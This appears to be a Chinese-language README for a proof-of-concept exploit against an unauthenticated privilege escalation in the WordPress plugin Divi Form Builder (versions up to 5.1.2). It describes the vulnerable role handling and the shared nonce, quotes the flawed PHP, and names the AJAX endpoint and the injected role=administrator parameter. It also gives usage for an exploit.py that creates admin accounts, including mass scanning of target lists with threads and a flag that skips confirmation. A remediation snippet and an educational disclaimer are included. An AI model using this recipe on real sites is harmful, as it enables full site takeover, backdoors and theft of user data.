🔥 漏洞概述
WordPress 插件 Divi Form Builder 版本 <= 5.1.2 存在一个未授权权限提升漏洞。此严重缺陷允许未授权攻击者直接通过任何 Divi Form Builder 表单(包括联系表单、报价表单、新闻通讯表单或任何其他支持 DFB 的表单)创建新的管理员账户。
该漏洞源于 FormSubmissionHandler.php 中的 create_user() 函数,该函数直接从用户提交的 POST 数据中接受 role 参数,而未进行适当的授权或白名单验证。插件仅检查提交的角色在系统中是否存在(例如,administrator 是有效的 WordPress 角色)—— 它从不检查该角色对于公开注册是否安全。
突破性发现: Divi Form Builder 使用的 fb_nonce 是一个全局共享的 nonce (wp_create_nonce('security')) — 站点上所有表单均相同。此外,form_type=register 可以通过 POST 到共享 AJAX 处理器进行覆盖。这意味着任何 DFB 表单(联系、报价、反馈等)都可以被武器化,以触发用户注册并分配任意角色。
🔍 受影响插件
🧨 攻击者能做什么
🧪 利用特性
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator 以及常规表单字段result.txt🧠 漏洞代码
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // ← PRIVILEGE ESCALATION!
🚀 使用方法
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
创建 targets.txt:
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
🛠 修复建议
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject ALL dangerous roles
}
role 隐藏输入current_user_can('create_users') 能力检查🧠 研究人员
📚 参考信息
🔒 免责声明:
此信息仅供教育和授权渗透测试用途。未经授权利用计算机系统是非法的且不道德的。在测试任何不属于您的目标之前,请务必获得明确的书面许可。
| 能力 | 影响 |
|---|
| 🔑 无需登录创建管理员账户 | 完全站点接管 |
| 📦 访问 WooCommerce 客户数据 | 数据泄露 |
| 💉 编辑插件/主题 PHP 文件 | 远程代码执行 |
| 🕳️ 安装隐藏后门 | 持久访问 |
| 👥 查看所有用户数据 | 隐私侵犯 |
| 参数 | 描述 |
|---|
-t, --target | 单个目标 URL |
-l, --list | 包含目标列表的文件(每行一个,http/https 可选) |
-T, --threads | 批量扫描的线程数(默认:10) |
-o, --output | 结果输出文件(默认:result.txt) |
-u, --username | 新账户的自定义用户名 |
-p, --password | 新账户的自定义密码 |
-e, --email | 新账户的自定义电子邮件 |
-v, --verbose | 详细调试输出 |
--no-confirm | 跳过权限确认提示 |